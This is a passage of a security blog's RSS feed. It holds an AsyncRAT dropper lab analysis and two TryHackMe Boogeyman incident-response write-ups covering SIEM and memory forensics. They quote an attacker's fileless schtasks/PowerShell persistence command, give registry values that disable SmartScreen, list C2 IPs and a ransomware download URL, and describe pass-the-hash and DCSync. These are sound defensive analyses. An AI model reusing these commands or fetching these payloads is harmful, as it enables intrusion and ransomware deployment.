blocks of these unparsed events, I successfully reconstructed the exact file creation timestamps, the parent execution timeline, and the true reason behind that frustrating graphical error box.</p><p><strong>The Dropper Sequence Bug</strong></p><p>The raw Splunk telemetry exposed the entire chronological story of the malware’s execution chain step-by-step:</p><ol><li><strong>The Launch:</strong> The initial detonation of <strong>AsyncRAT.exe</strong> launched as a standard process (PID 6812) running at Medium Integrity.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*w9u1EF-2dAu5c4IoMUUJ4g.png" /><figcaption><strong>Figure 7:</strong> Splunk XML event capturing the initial execution of AsyncRAT.exe (PID 6812) at Medium Integrity</figcaption></figure><p><strong>2. The Elevation:</strong> It instantly spawned a duplicate instance of itself (PID 2524), passing the explicit command-line arguments <strong>-el -s2 “-dC:\Windows” “-sp”</strong>. The <strong>-el</strong> flag stands for Elevation. The logs confirmed that this child process successfully shifted to <strong>High Integrity</strong>, executing a classic UAC bypass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jNpnWCRWW_ldQsEctrZxiw.png" /><figcaption><strong>Figure 8</strong>: Splunk XML event showing the elevated child process (PID 2524) launching with the -el flag and achieving High Integrity.</figcaption></figure><p><strong>3. The Drop:</strong> Now running with administrative privileges inside the C:\Windows\ directory, the high-integrity process dropped two distinct payload files to the disk<strong>: MSTeamsSetup.exe</strong> and <strong>sefting.exe</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*tjQOrqCN1RQzi3Nh8MIPmg.png" /><figcaption><strong>Figure 9</strong>: Sysmon Event ID 11 recording the creation of the first dropped payload, MSTeamsSetup.exe.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*S5XC72M5kSiECbGRVZej5Q.png" /><figcaption><strong>Figure 10:</strong> Sysmon Event ID 11 recording the creation of the second dropped payload, sefting.exe.</figcaption></figure><p><strong>4. The Execution:</strong> Finally, the malware attempted to kick off the next stage of its execution chain by starting sefting.exe (PID 5232).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5KjOWqiOd4bXeq4YxogMOw.png" /><figcaption><strong>Figure 11</strong>: Splunk XML event showing the high-integrity parent process initiating the execution of the dropped sefting.exe payload.</figcaption></figure><p><strong>The Execution Mismatch</strong></p><p>This telemetry provides a highly probable explanation for why the execution chain froze and threw an error. The evidence strongly suggests a compilation mismatch or configuration error introduced by the threat actor during the malware building process.</p><p>As seen in Figure 9, the payload successfully dropped onto the disk is named <strong>MSTeamsSetup.exe</strong>. However, the inner binary sequence explicitly looks for and attempts to execute <strong>MSTeamsSetup-x64.exe</strong>. Because the file with the <strong>-x64</strong> suffix does not exist in <strong>C:\Windows\</strong>, the operating system naturally halted the execution chain and fired off the graphical error alert.</p><p>By analysing these 5 raw XML events, a frustrating environmental error appears to simply be a flawed compilation by the operators themselves. Whether it was a versioning error or a broken builder script, this operational mistake ultimately provided the perfect window to trap the malware in memory and extract its infrastructure.</p><p><strong>Key Takeaways and Lessons Learned</strong></p><p>· <strong>The Wire Never Lies:</strong> Endpoint logs can be restricted by filtering configurations, and process memory lines can be blinded by process hollowing or handle restrictions. However, to communicate, malware must place data on the network interface. Combining host-level keyword hunting with packet analysis is essential for achieving complete situational visibility.</p><p>· <strong>Capitalise on Threat Actor Failures:</strong> Malware is software, and software is prone to human error. The compilation mismatch bug within this AsyncRAT builder’s execution path became the primary mechanism for isolating it inside memory, turning a potential failure to run into a prolonged memory forensic opportunity.</p><p>· <strong>The Reality of Simulation Evasion:</strong> Modern commodity remote access trojans are highly sensitive to network topography. The immediate session teardown following the TLS handshake highlighted how aggressively modern threat actors deploy certificate pinning to neutralise automated network sinkholes and sandbox arrays.</p><p><strong>Technical Resources</strong></p><p>· <strong>Detection Engineering:</strong> <a href="https://github.com/svet-angelov/CTI-YARA-Rules/blob/main/AsyncRAT_Dropper_MSTeams.yar">View the custom YARA rule here</a></p><p>· <strong>IoC Publication:</strong> <a href="https://otx.alienvault.com/pulse/6a1b002b874b2202b0bc1d38">Access the full list of IoCs on AlienVault OTX</a></p><h3><strong>Technical Incident Report: AsyncRAT Dropper Evasion &amp; Infrastructure Analysis</strong></h3><p>· <strong>Report ID:</strong> 2026–05–29-ASY-01</p><p>· <strong>Classification:</strong> TLP:CLEAR</p><p>· <strong>Subject:</strong> Behavioural Analysis, Dropper Evasion, and TLS Infrastructure Extraction of AsyncRAT Payload</p><p><strong>Executive Summary</strong></p><p>A detailed behavioural and network analysis was performed on an active AsyncRAT executable payload inside a restricted laboratory environment. The malware operates as a multi-stage dropper that utilises user access control (UAC) elevation loops to run a secondary instance at High Integrity within the system directories. While endpoint network telemetry was actively filtered out by host logging constraints, custom network routing and packet-level inspection successfully intercepted the payload’s outbound command and control handshake, exposing its hardcoded external infrastructure domains prior to an automated session teardown triggered by SSL certificate validation failure.</p><p><strong>List of Affected Entities</strong></p><p>· <strong>Internal Source (Assigned):</strong> 192.168.134.10 (Windows 10 Lab Workstation / Hostname: DESKTOP-KHTFPG0 / Local User: Analyst)</p><p>· <strong>Target Identity:</strong> Malicious External Command and Control Node (8989ktw.com)</p><p>· <strong>Attacker IP:</strong> 192.168.134.129 (Redirected locally via INetSim network sinkhole topology over Port 443)</p><p>· <strong>Identity:</strong> AsyncRAT.exe (Primary Dropper Binary / SHA-256: C3693A465B93CE368769F456942FBA955512CF77A421DB5BDA2A5F4EDBD117E)</p><p>· <strong>VPN Gateway:</strong> None (Host execution isolated strictly within a non-routing VMware VMnet1 host-only architecture)</p><p>· <strong>External Actor:</strong> Unknown Threat Actor (AsyncRAT Commodity Operator Group)</p><p><strong>Technical Findings &amp; Analysis Steps</strong></p><p><strong>1. Endpoint Triage &amp; Defensive Workarounds</strong></p><p>The payload was analysed on a Windows 10 x64 host. Initial attempts to execute the file from an isolated desktop directory (Malware_Zone) resulted in immediate termination by Windows SmartScreen filters, which intercepted file creation hooks and removed the binary, resulting in an operating system file absence error.</p><p>Because standard administrative security management mechanisms were locked out by lingering local group policy settings (returning error code 0x800106ba during PowerShell Add-MpPreference executions), the security baseline was cleared by manually executing a registry injection to completely disable the SmartScreen engine filters across the system:</p><pre>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SmartScreenEnabled -&gt; &quot;Off&quot;<br>HKLM\SOFTWARE\Policies\Microsoft\Windows\System\EnableSmartScreen -&gt; 0 (REG_DWORD)</pre><p><strong>2. Dropper Execution &amp; Process Telemetry Analysis</strong></p><p>Following a system reboot, detonation of the primary binary exposed a distinct multi-stage installation routing structure. Sysmon Event ID 1 (Process Creation) and Event ID 11 (File Creation) logs were manually extracted using raw keyword searching in Splunk (<strong>index=sysmon “*Malware_Zone*</strong>”) to bypass strict unparsed field boundaries within the enterprise SIEM configuration profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfueCKh0A0xWaacNARqtFQ.png" /><figcaption><strong><em>Table 1. </em></strong>Summary of the 5 raw XML events extracted using raw keyword searching in Splunk</figcaption></figure><p>During Step 2, the malware executed an elevation bypass loop to spawn its child process at High Integrity. This elevated process instantly dropped two files into C:\Windows\: MSTeamsSetup.exe and sefting.exe.</p><p>At this point, a compilation or naming mismatch error within the malware’s internal code halted the sequence: the binary successfully dropped <strong>MSTeamsSetup.exe,</strong> but its subsequent step explicitly attempted to locate and execute <strong>MSTeamsSetup-x64.exe</strong>. The file system returned a missing file error, causing the OS to display a modal error message box.</p><p>Because the parent process was designed to run synchronously, it entered an active loop, holding both malicious instances alive inside system memory until the error box was clicked.</p><p><strong>3. Network Infrastructure Extraction</strong></p><p>Network capture monitoring was conducted via Wireshark on an adjacent REMnux platform (<strong>192.168.134.129)</strong>. Initial monitoring revealed recurring black rows of ICMP Destination unreachable (Port unreachable) notifications targeting UDP Port 53, confirming that the Linux host’s default <strong>systemd-resolved</strong> daemon was locking the port and blocking <strong>INetSim’s</strong> DNS subsystem.</p><p>The background daemon was forcefully terminated, and the port was cleared. To guarantee robust network tracking and completely avoid standard DNS detection drop-outs, the target infrastructure domain discovered during initial staging queries was manually bound to the local REMnux gateway by modifying the Windows workstation hosts file: <strong>192.168.134.129 8989ktw.com</strong></p><p>Upon re-detonation, the Windows host routed traffic meant for the domain directly to the REMnux sinkhole over TCP Port 443, bypassing the DNS layer entirely. Wireshark captured an explicit 3-way handshake (SYN from ephemeral source port 44395 to destination port 443), followed immediately by a TLS Client Hello packet.</p><p>Forensic parsing of the TLS client properties exposed an active Server Name Indication (SNI) extension record identifying the threat actor’s core command infrastructure domain:</p><p>Extension: server_name (len=16)</p><p>Server Name Indication extension</p><p>Server Name list length: 14</p><p>Server Name Type: host_name (0)</p><p>Server Name length: 11</p><p>Server Name: 8989ktw.com</p><p>Immediately after INetSim transmitted its default server certificate handshake response, the malware’s internal validation systems recognised a certificate mismatch. The malware instantly transmitted an outbound FIN-ACK control packet, killing the session to prevent tracking. This network signature confirms the integration of strict, active SSL certificate pinning within the AsyncRAT payload’s transport engine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=456c0e867174" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating Boogeyman 3: Advanced SIEM Analysis, Lateral Movement & Ransomware Execution]]></title>
            <link>https://medium.com/@svetli80/investigating-boogeyman-3-advanced-siem-analysis-lateral-movement-ransomware-execution-077647aefd47?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/077647aefd47</guid>
            <category><![CDATA[boogeyman]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 14:10:20 GMT</pubDate>
            <atom:updated>2026-06-01T14:10:20.877Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*ezd9APd1VRYRL3d0d6Oc2g.png" /><figcaption><strong>TryHackMe | Boogeyman 3| Capstone Challenge<em> </em>| by Svetoslav Angelov</strong></figcaption></figure><p><strong>Executive Summary</strong></p><p>In late August 2023, the threat group “Boogeyman” returned to target Quick Logistics LLC for a third time. Abandoning their previous attempts on the Finance and HR departments, the attackers escalated their campaign by directly targeting the Chief Executive Officer (CEO).</p><p>During this Incident Response (IR) engagement, I utilised the Elastic Stack (Kibana) to perform deep Security Information and Event Management (SIEM) analysis. By tracking Windows Event Logs and Sysmon telemetry, I successfully reconstructed a highly sophisticated attack chain. The attacker utilised Business Email Compromise (BEC) for initial delivery, bypassed User Account Control (UAC) via “Living off the Land” binaries, executed Pass-the-Hash (PtH) attacks for lateral movement, and ultimately compromised the Domain Controller via a DCSync attack to deploy ransomware.</p><p>This report details the Threat Actor’s complete Tactics, Techniques, and Procedures (TTPs) across the Cyber Kill Chain and the DFIR methodology used to trace the lateral movement across the enterprise network.</p><p><strong>List of Affected Entities</strong></p><p>· <strong>Target Identity:</strong> Evan Hutchinson (Chief Executive Officer, Quick Logistics LLC)</p><p>· <strong>Compromised Insider (Delivery):</strong> Allie Sierra (Chief Finance Officer)</p><p>· <strong>Attacker C2 IP:</strong> 165.232.170.151:80</p><p>· <strong>Compromised Endpoints:</strong> CEO Workstation, WKSTN-1327, Domain Controller (DC01)</p><p>· <strong>External Actor:</strong> Boogeyman Threat Group</p><p><strong>Phase 1: Initial Access &amp; Weaponisation (Business Email Compromise)</strong></p><p>The attack began with a Business Email Compromise (BEC). The threat actor compromised the email account of the CFO, utilising this trusted internal identity to send a highly urgent spear-phishing email to the CEO regarding a “Financial Summary.”</p><p>The email contained a malicious attachment named <strong>ProjectFinancialSummary_Q3.pdf</strong>. However, forensic inspection of the file properties revealed this was not a true PDF, but rather a Disc Image File (ISO). When executed in modern Windows environments, ISO files automatically mount as virtual DVD drives, bypassing standard Mark-of-the-Web (MotW) protections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*Ru-PGvFriLWrwzqZXQIHOQ.png" /><figcaption><strong><em>Figure 1.0</em></strong><em> The malicious ISO file bypassing email protections by masquerading as a standard PDF document.</em></figcaption></figure><p>Inside the mounted virtual drive was the true Stage 1 payload: an HTML Application (<strong>.hta</strong>) file, also disguised as a PDF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*btGhWVc_ke3wlkgB-179MA.png" /><figcaption><strong><em>Figure 1.1</em></strong><em> The mounted ISO revealing the hidden HTML Application (.hta) payload.</em></figcaption></figure><p>Using Kibana, I queried the SIEM logs for executions of <strong>mshta.exe</strong> (the native Windows binary that runs HTA files). The telemetry confirmed that upon execution (PID: 6392), the payload utilised <strong>xcopy.exe</strong> to quietly implant a hidden file (<strong>review.dat</strong>) into the user’s temporary AppData directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*uYmGyCPNIdec3oaNrqxOHQ.png" /><figcaption><strong><em>Figure 1.2</em></strong><em> The telemetry confirmed that execution (PID: 6392).</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*rrEoFVWTiSDNBij9k6cjOA.png" /><figcaption><strong><em>Figure 1.2</em></strong><em> The payload utilised </em><strong><em>xcopy.exe</em></strong><em> to implant the </em><strong><em>review.dat </em></strong><em>file.</em></figcaption></figure><p><strong>Phase 2: Execution, C2 &amp; Privilege Escalation</strong></p><p>With the hidden file implanted, the attacker needed to execute it. SIEM logs revealed the execution of <strong>rundll32.exe</strong>, calling the <strong>DllRegisterServer</strong> function against the newly implanted review.dat file.</p><p>Immediately following this execution, I tracked Sysmon Event ID 3 (Network Connections) tied to the <strong>rundll32.exe</strong> process, identifying outbound Command and Control (C2) beaconing to <strong>165.232.170.151:80.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*8mpa7A1LeC2WxJi6CmLRHQ.png" /><figcaption><strong><em>Figure 2.0</em></strong><em> Sysmon network telemetry capturing the malicious rundll32.exe process establishing a C2 connection.</em></figcaption></figure><p>To ensure the backdoor survived system reboots, the attacker utilised PowerShell to create a Scheduled Task named <strong>Review</strong>, ensuring the payload executed daily at 06:00.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*I0vt6xtAVBWPt1VX5co9FA.png" /><figcaption><strong><em>Figure 2.1</em></strong><em> Scheduled Task named </em><strong><em>Review</em></strong><em>, executed daily at 06:00.</em></figcaption></figure><p>Recognising they were operating in a local administrator context but were restricted by User Account Control (UAC), the attacker executed a UAC bypass. By searching process creation logs spawned by the active C2 process, I identified the attacker hijacking <strong>fodhelper.exe</strong>, a legitimate, auto-elevating Windows binary, to silently escalate their privileges to SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*bW4h4zswuusowknnPpnUlQ.png" /><figcaption><strong><em>Figure 2.2 </em></strong>Privilege escalation to SYSTEM, by hijacking a legitimate Windows binary fodhelper.exe.</figcaption></figure><p><strong>Phase 3: Credential Dumping &amp; Lateral Movement</strong></p><p>Operating with maximum local privileges, the attacker shifted focus to the network. Kibana logs captured the attacker utilising PowerShell to download Mimikatz directly from GitHub (<strong>mimikatz_trunk.zip</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*gTeB1ip-rrzaAhnS6ZkhqQ.png" /><figcaption><strong><em>Figure 3.0 </em></strong>Downloaded Mimikatz from GitHub</figcaption></figure><p>They dumped the Local Security Authority Subsystem Service (LSASS) memory to extract the NTLM hash for the <strong>itadmin</strong> account. Rather than attempting to crack the hash, the attacker utilised Mimikatz’s<strong> sekurlsa::pth</strong> module to execute a Pass-the-Hash attack, authenticating directly into the network as the IT Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*gEymgf0OsNA2oqGlujMqHQ.png" /><figcaption><strong><em>Figure 3.1 </em></strong><em>Using Mimikatz’s sekurlsa::pth module to execute a Pass-the-Hash attack</em></figcaption></figure><p>Operating as <strong>itadmin</strong>, they enumerated remote file shares and discovered an IT automation script (<strong>IT_Automation.ps1</strong>) on a remote machine (<strong>WKSTN-1327</strong>). This script contained hardcoded plaintext credentials for another user (<strong>QUICKLOGISTICS\allan.smith</strong>), exposing a critical operational security flaw.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*wu3XMwD_K2PJFbv2i0Dz8Q.png" /><figcaption><strong><em>Figure 3.2</em></strong><em> Log analysis capturing the attacker constructing a PSCredential object using plaintext passwords extracted from an exposed IT script.</em></figcaption></figure><p>Armed with this new identity, the attacker utilised Windows Remote Management (WinRM) via the <strong>Invoke-Command</strong> cmdlet to pivot laterally to <strong>WKSTN-1327</strong>, spawning a remote shell under the <strong>wsmprovhost.exe</strong> process.</p><p><strong>Phase 4: Domain Compromise &amp; Ransomware Deployment</strong></p><p>On the second machine, the attacker repeated their credential dumping sequence. This time, they successfully extracted the hash for the true Domain <strong>administrator</strong>.</p><p>With Domain Admin privileges secured, the attacker executed a devastating DCSync attack (<strong>lsadump::dcsync</strong>) against the primary Domain Controller (<strong>DC01</strong>). This technique abuses native Active Directory replication protocols to extract password hashes for any user on the network. The logs revealed they specifically targeted the <strong>backupda</strong> account to ensure they could destroy the company’s data backups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*4qX-duVzEHM1amvhK7ik5Q.png" /><figcaption><strong><em>Figure 4.0</em></strong><em> Executed DCSync attack and targeted backupda account</em></figcaption></figure><p>In the final phase of the attack, I pivoted my threat hunting strategy. Rather than searching for known, static Indicators of Compromise (like the previous domains), I searched for behavioural TTPs on the Domain Controller, specifically the execution of <strong>Invoke-WebRequest</strong> (<strong>iwr</strong>).</p><p>This behavioural query successfully captured the Boogeyman’s final command: downloading their ransomware payload (<strong>ransomboogey.exe</strong>) from a newly stood-up infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*0M1tX7Djq9Wtiukftl089A.png" /><figcaption><strong><em>Figure 4.0 </em></strong><em>Behavioural threat hunting, capturing the final ransomware payload execution on the Domain Controller.</em></figcaption></figure><p><strong>Conclusion &amp; Indicators of Compromise (IoCs)</strong></p><p>The Boogeyman 3 campaign was a masterclass in modern adversary tradecraft. The threat group successfully chained Business Email Compromise with ISO/HTA smuggling to bypass perimeter defences. Their heavy reliance on “Living off the Land” techniques (utilizing mshta.exe, rundll32.exe, fodhelper.exe, and WinRM) allowed them to blend into normal administrative traffic, highlighting the critical need for robust SIEM behavioral alerting over traditional signature-based antivirus.</p><p><strong>Verified IoCs:</strong></p><p><strong>Malicious Infrastructure &amp; URLs:</strong></p><p>· <strong>C2 IP:</strong> 165.232.170.151:80</p><p>· <strong>Credential Tooling:</strong> <a href="https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip">https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip</a></p><p>· <strong>Ransomware Payload:</strong> <a href="http://ff.sillytechninja.io/ransomboogey.exe">http://ff.sillytechninja.io/ransomboogey.exe</a></p><p><strong>Host-Based Artefacts:</strong></p><p>· D:\review.dat</p><p>· C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat</p><p>· <strong>Scheduled Task:</strong> Review</p><p>· <strong>Downloaded Ransomware:</strong> ransomboogey.exe</p><p><strong>Compromised Accounts:</strong></p><p>· allan.smith</p><p>· itadmin</p><p>· administrator</p><p>· backupda</p><p><strong><em>Note</em></strong><em>: This SIEM threat hunting case study was conducted as part of the TryHackMe Boogeyman 3 Capstone Challenge.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=077647aefd47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating the Boogeyman 2: Memory Forensics & Fileless Persistence Case Study]]></title>
            <link>https://medium.com/@svetli80/investigating-the-boogeyman-2-memory-forensics-fileless-persistence-case-study-a05b085727f4?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a05b085727f4</guid>
            <category><![CDATA[olevba]]></category>
            <category><![CDATA[the-boogeyman]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Tue, 26 May 2026 12:29:21 GMT</pubDate>
            <atom:updated>2026-05-26T12:29:21.320Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*WBkjbGey8P4HP_GMbHzFsw.png" /><figcaption><strong>TryHackMe | Boogeyman 2| Capstone Challenge<em> </em>| by Svetoslav Angelov</strong></figcaption></figure><p><strong>Executive Summary</strong></p><p>Following a previous incident targeting the finance department, the threat actor known as “Boogeyman” returned with upgraded Tactics, Techniques, and Procedures (TTPs), this time targeting the Human Resources division of Quick Logistics LLC.</p><p>During this Incident Response engagement, I was provided with a memory dump (<strong>WKSTN-2961.raw</strong>) and the raw phishing email used in the attack. Using digital forensics tools, including <strong>olevba</strong> for macro analysis and <strong>Volatility 3</strong> for advanced memory forensics, I traced the attack from the initial phishing payload to a sophisticated fileless persistence mechanism hidden within the Windows Registry.</p><p>This report details the execution flow, memory analysis, and the DFIR methodology utilised to uncover the Boogeyman’s Stage 2 payloads and Command &amp; Control (C2) infrastructure.</p><p><strong>List of Affected Entities</strong></p><p>· <strong>Internal Source (Assigned):</strong> 10.10.49.181 (Assigned to Virtual Machine Host: WKSTN-2961)</p><p>· <strong>Target Identity:</strong> Maxine Beck (Human Resource Specialist at Quick Logistics LLC)</p><p>· <strong>Attacker IP:</strong> 128.199.95.189 (Boogeyman C2 Server)</p><p>· <strong>Identity:</strong> Maxine Beck (Local Account)</p><p>· <strong>External Actor:</strong> Boogeyman Threat Group</p><p><strong>Phase 1: Initial Access (Spear-Phishing &amp; Macro Forensics)</strong></p><p>The breach originated from a targeted spear-phishing email masquerading as a job application. Using command-line text processing, I parsed the raw <strong>.eml</strong> file to extract the sender (<strong>westaylor23@outlook.com</strong>) and the intended victim (<strong>maxine.beck@quicklogisticsorg.onmicrosoft.com</strong>).</p><p>The email contained a malicious Microsoft Word document named <strong>Resume_WesleyTaylor.doc</strong> (<strong>MD5: 52c4384a0b9e248b95804352ebec6c5b</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*4mkX-UCF1D1C35WrcjzCMA.png" /><figcaption><strong><em>Figure 1.0 </em></strong><em>Parsing the raw email headers to identify the spear-phishing vector and malicious attachment.</em></figcaption></figure><p>To uncover the document’s payload without executing it, I utilised the <strong>olevba</strong> forensics tool. The analysis revealed an <strong>AutoOpen()</strong> VBA macro embedded within the document. Upon the user enabling content, this macro was designed to silently reach out to <a href="https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png."><strong>https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png</strong>.</a></p><p>Despite the <strong>.png</strong> extension, the macro saved the file locally as <strong>C:\ProgramData\update.js</strong> and utilised “Living off the Land” techniques by invoking the native Windows Script Host (<strong>wscript.exe</strong>) to execute the JavaScript payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*VZVNsl7CqKolP6nDEwP7Fw.png" /><figcaption><strong><em>Figure 1.1</em></strong><em> Olevba extraction revealing the Stage 2 downloader and execution methodology.</em></figcaption></figure><p><strong>Phase 2: Execution &amp; Payload Staging (Memory Forensics)</strong></p><p>With the initial vector identified, the investigation transitioned to analysing the volatile memory of Maxine’s compromised workstation (<strong>WKSTN-2961.raw</strong>) using <strong>Volatility 3</strong>.</p><p>I mapped the execution chain by analysing the process list (<strong>windows.pslist</strong>). The memory dump confirmed that <strong>wscript.exe</strong> (PID: 4260) was spawned directly by Microsoft Word (PID: 1124), confirming the macro execution timeline.</p><p>To determine what the <strong>update.js</strong> script did upon execution, I searched the raw memory dump for strings matching the attacker’s domain. The results revealed that the JavaScript acted as a downloader for the final Stage 3 payload, fetching a malicious binary from <a href="https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe"><strong>https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*J_5ySSqAZTT-B-HcqDVU0w.png" /><figcaption><strong><em>Figure 2.0</em></strong><em> String analysis of the raw memory dump uncovering the Stage 3 payload URL.</em></figcaption></figure><p><strong>Phase 3: Command &amp; Control (C2) Establishment</strong></p><p>To confirm whether the malware successfully communicated with the attacker, I utilised Volatility’s <strong>windows.netscan</strong> plugin to review active and recently closed network connections.</p><p>The scan identified a suspicious process establishing a connection from the internal host (<strong>10.10.49.181</strong>) to the external attacker IP (<strong>128.199.95.189</strong>) over port <strong>8080</strong>. The process responsible for this C2 beaconing was identified as <strong>updater.exe</strong> (PID: 6216).</p><p>To locate the binary on the disk, I ran the <strong>windows.dlllist</strong> plugin against PID 6216. This revealed the absolute path of the active malware: <strong>C:\Windows\Tasks\updater.exe</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*qpJID6lHbZFLqvapMVb5Wg.png" /><figcaption><strong><em>Figure 3.0</em></strong><em> Volatility network and DLL scanning isolating the active Command &amp; Control process and its physical disk location.</em></figcaption></figure><p><strong>Phase 4: Fileless Persistence Mechanism</strong></p><p>A critical step in incident response is identifying how malware survives a system reboot. Initially, Volatility’s <strong>windows.cmdline</strong> plugin failed to produce the scheduled task commands, a common occurrence in memory forensics if a process has already terminated or memory has been paged out.</p><p>Adapting to this hurdle, I dumped the raw process memory and performed a targeted string search for <strong>schtasks</strong> (the native Windows scheduled task binary). This manual carving successfully recovered the attacker’s persistence mechanism.</p><p>The attacker created a Scheduled Task named <strong>Updater</strong> set to run daily at 09:00. However, instead of pointing the task to the <strong>updater.exe</strong> binary on the disk, the attacker utilised a highly sophisticated <strong>fileless persistence</strong> technique. They hid the malicious payload as a Base64-encoded string directly inside the Windows Registry and used PowerShell to decode and execute it dynamically into memory:</p><p><strong><em>PowerShell:</em></strong></p><p><strong>schtasks /Create /F /SC DAILY /ST 09:00 /TN Updater /TR ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \”IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\”’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*BBicZhFinIdAHxEOWuYJcw.png" /><figcaption><strong><em>Figure 4.0 </em></strong><em>Manual memory carving exposing the fileless registry-based Scheduled Task persistence mechanism.</em></figcaption></figure><p><strong>Conclusion &amp; Indicators of Compromise (IoCs)</strong></p><p>The Boogeyman 2 attack represents a significant escalation in tradecraft from their previous campaigns. By utilising malicious VBA macros to call native Windows binaries (<strong>wscript.exe</strong> and <strong>powershell.exe</strong>), the attackers actively employed “Living off the Land” techniques to evade traditional endpoint detection. Furthermore, the use of fileless, registry-based persistence demonstrates a highly evasive methodology designed to frustrate standard forensic disk imaging.</p><p><strong>Verified IoCs:</strong></p><p><strong>File Hashes (MD5):</strong></p><p>· 52c4384a0b9e248b95804352ebec6c5b (Resume_WesleyTaylor.doc)</p><p><strong>Malicious Domains &amp; URLs:</strong></p><p>· <a href="https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png">https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png</a></p><p>· <a href="https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe">https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe</a></p><p><strong>C2 Infrastructure:</strong></p><p>· IP/Port: 128.199.95.189:8080</p><p><strong>Host-Based Artefacts:</strong></p><p>· Dropper Path: C:\ProgramData\update.js</p><p>· Payload Path: C:\Windows\Tasks\updater.exe</p><p>· Scheduled Task: Updater</p><p>· Compromised Registry Key: HKCU:\Software\Microsoft\Windows\CurrentVersion debug</p><p><strong><em>Note</em></strong><em>: This memory forensics case study was conducted as part of the TryHackMe Boogeyman 2 Capstone Challenge.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a05b085727f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating the Boogeyman: A Threat Hunting & Log Analysis Case Study]]></title>
            <link>https://medium.com/@svetli80/investigating-the-boogeyman-a-threat-hunting-log-analysis-case-study-9ee5778a0c85?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ee5778a0c85</guid>
            <category><![CDATA[the-boogeyman]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Wed, 20 May 2026 14:08:05 GMT</pubDate>
            <atom:updated>2026-05-26T12:27:12.974Z</atom:updated>
